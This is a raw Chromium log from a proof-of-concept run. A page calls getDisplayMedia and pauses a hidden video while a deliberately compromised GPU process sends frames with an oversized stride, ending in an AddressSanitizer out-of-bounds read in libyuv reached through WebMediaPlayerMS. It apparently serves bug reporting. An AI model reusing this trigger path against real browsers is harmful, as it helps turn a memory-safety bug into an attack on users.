[5918:5918:0527/082840.554090:INFO:CONSOLE:21] "[poc] calling getDisplayMedia(preferCurrentTab)", source: http://127.0.0.1:8765/poc.html (21)
[5949:6056:0527/082842.493929:ERROR:components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc:1631] [POC] viz/GPU process: sending malicious OnFrameCaptured(unsafe_shmem_region size=384064, I420 640x480, strides=640/320/16777216) -> browser FrameSinkVideoCaptureDevice
[5949:6056:0527/082842.495569:ERROR:components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc:1631] [POC] viz/GPU process: sending malicious OnFrameCaptured(unsafe_shmem_region size=384064, I420 640x480, strides=640/320/16777216) -> browser FrameSinkVideoCaptureDevice
[5918:5918:0527/082842.498514:INFO:CONSOLE:21] "[poc] got stream, attaching to hidden <video>", source: http://127.0.0.1:8765/poc.html (21)
[5949:6056:0527/082842.564952:ERROR:components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc:1631] [POC] viz/GPU process: sending malicious OnFrameCaptured(unsafe_shmem_region size=384064, I420 640x480, strides=640/320/16777216) -> browser FrameSinkVideoCaptureDevice
[5918:5918:0527/082842.569650:INFO:CONSOLE:21] "[poc] playing; the (compromised) GPU is now delivering frames", source: http://127.0.0.1:8765/poc.html (21)
[5949:6056:0527/082842.605859:ERROR:components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc:1631] [POC] viz/GPU process: sending malicious OnFrameCaptured(unsafe_shmem_region size=384064, I420 640x480, strides=640/320/16777216) -> browser FrameSinkVideoCaptureDevice
[5949:6056:0527/082842.637393:ERROR:components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc:1631] [POC] viz/GPU process: sending malicious OnFrameCaptured(unsafe_shmem_region size=384064, I420 640x480, strides=640/320/16777216) -> browser FrameSinkVideoCaptureDevice
[5918:5918:0527/082842.870852:INFO:CONSOLE:21] "[poc] pause() #1 -> WebMediaPlayerMS::Pause -> CopyFrame", source: http://127.0.0.1:8765/poc.html (21)
[5949:6056:0527/082842.915693:ERROR:components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc:1631] [POC] viz/GPU process: sending malicious OnFrameCaptured(unsafe_shmem_region size=384064, I420 640x480, strides=640/320/16777216) -> browser FrameSinkVideoCaptureDevice
AddressSanitizer:DEADLYSIGNAL
=================================================================
==6080==ERROR: AddressSanitizer: SEGV on unknown address 0x76835d248c00 (pc 0x5660239ac6e6 bp 0x7fff61ad0120 sp 0x7fff61ad0120 T0)
==6080==The signal is caused by a READ memory access.
    #0 0x5660239ac6e6 in CopyRow_ERMS third_party/libyuv/source/row_gcc.cc:6647:7
    #1 0x56602393db50 in CopyPlane third_party/libyuv/source/planar_functions.cc:94:5
    #2 0x566023921505 in I420Copy third_party/libyuv/source/convert.cc:119:3
    #3 0x566033a837ca in blink::WebMediaPlayerMSCompositor::ReplaceCurrentFrameWithACopy() third_party/blink/renderer/modules/mediastream/web_media_player_ms_compositor.cc:138:7
    #4 0x566033a571b0 in base::internal::Invoker<base::internal::FunctorTraits<void (blink::WebMediaPlayerMS::*&&)(), base::WeakPtr<blink::WebMediaPlayerMS>&&>, base::internal::BindState<true, true, false, void (blink::WebMediaPlayerMS::*)(), base::WeakPtr<blink::WebMediaPlayerMS>>, void ()>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
    #5 0x56601f3fbe13 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
    #6 0x56601f46b4cc in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
    #7 0x56601f46a36a in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:336:40
    #8 0x56601f2ba432 in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:65:55
    #9 0x56601f46cbb4 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:640:12
    #10 0x56601f376340 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
    #11 0x56602bc22a34 in content::RendererMain(content::MainFunctionParams) content/renderer/renderer_main.cc:336:16
    #12 0x56601bd5b3c3 in content::RunZygote(content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:665:14
    #13 0x56601bd5c6cb in content::RunOtherNamedProcessTypeMain(std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::MainFunctionParams, content::ContentMainDelegate*) content/app/content_main_runner_impl.cc:772:12
    #14 0x56601bd5f5d1 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner_impl.cc:1164:10
    #15 0x56601bd58ddb in content::RunContentProcess(content::ContentMainParams, content::ContentMainRunner*) content/app/content_main.cc:356:36
    #16 0x56601bd593cc in content::ContentMain(content::ContentMainParams) content/app/content_main.cc:369:10
    #17 0x566006d9202b in ChromeMain chrome/app/chrome_main.cc:221:12
    #18 0x7a83f662b249  (/lib/x86_64-linux-gnu/libc.so.6+0x27249) (BuildId: 6196744a316dbd57c0fd8968df1680aac482cec4)

==6080==Register values:
rax = 0x000076835d248c00  rbx = 0x0000000000000140  rcx = 0x0000000000000140  rdx = 0x0000000000000140  
rdi = 0x0000768351158300  rsi = 0x000076835d248c00  rbp = 0x00007fff61ad0120  rsp = 0x00007fff61ad0120  
 r8 = 0x00005660239ac6d0   r9 = 0x00005660239ac660  r10 = 0x0000000001000000  r11 = 0x0000000000000140  
r12 = 0x00000000000000e3  r13 = 0x0000768351158300  r14 = 0x000076835d248c00  r15 = 0x00005660239ac6d0  
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV third_party/libyuv/source/row_gcc.cc:6647:7 in CopyRow_ERMS

==6080==ADDITIONAL INFO

==6080==Note: Please include this section with the ASan report.
Task trace:
    #0 0x566033a5696a in base::internal::Invoker<base::internal::FunctorTraits<blink::WebMediaPlayerMS::Pause(blink::WebMediaPlayer::PauseReason)::$_0&&, scoped_refptr<base::SingleThreadTaskRunner>&&, blink::CrossThreadOnceFunction<void ()>&&>, base::internal::BindState<false, false, false, blink::WebMediaPlayerMS::Pause(blink::WebMediaPlayer::PauseReason)::$_0, scoped_refptr<base::SingleThreadTaskRunner>, blink::CrossThreadOnceFunction<void ()>>, void ()>::RunOnce(base::internal::BindStateBase*) third_party/blink/renderer/modules/mediastream/web_media_player_ms.cc:892:47
    #1 0x566033a46d33 in blink::WebMediaPlayerMS::Pause(blink::WebMediaPlayer::PauseReason) third_party/blink/renderer/modules/mediastream/web_media_player_ms.cc:888:28
    #2 0x56603238eacc in blink::DOMTimer::DOMTimer(blink::ExecutionContext&, blink::ScheduledAction*, base::TimeDelta, bool, blink::probe::AsyncTaskContext::ScanForAds) third_party/blink/renderer/core/scheduler/dom_timer.cc:348:27




==6080==END OF ADDITIONAL INFO

==6080==ABORTING
+ rm -rf /tmp/chrome-poc-profile-5915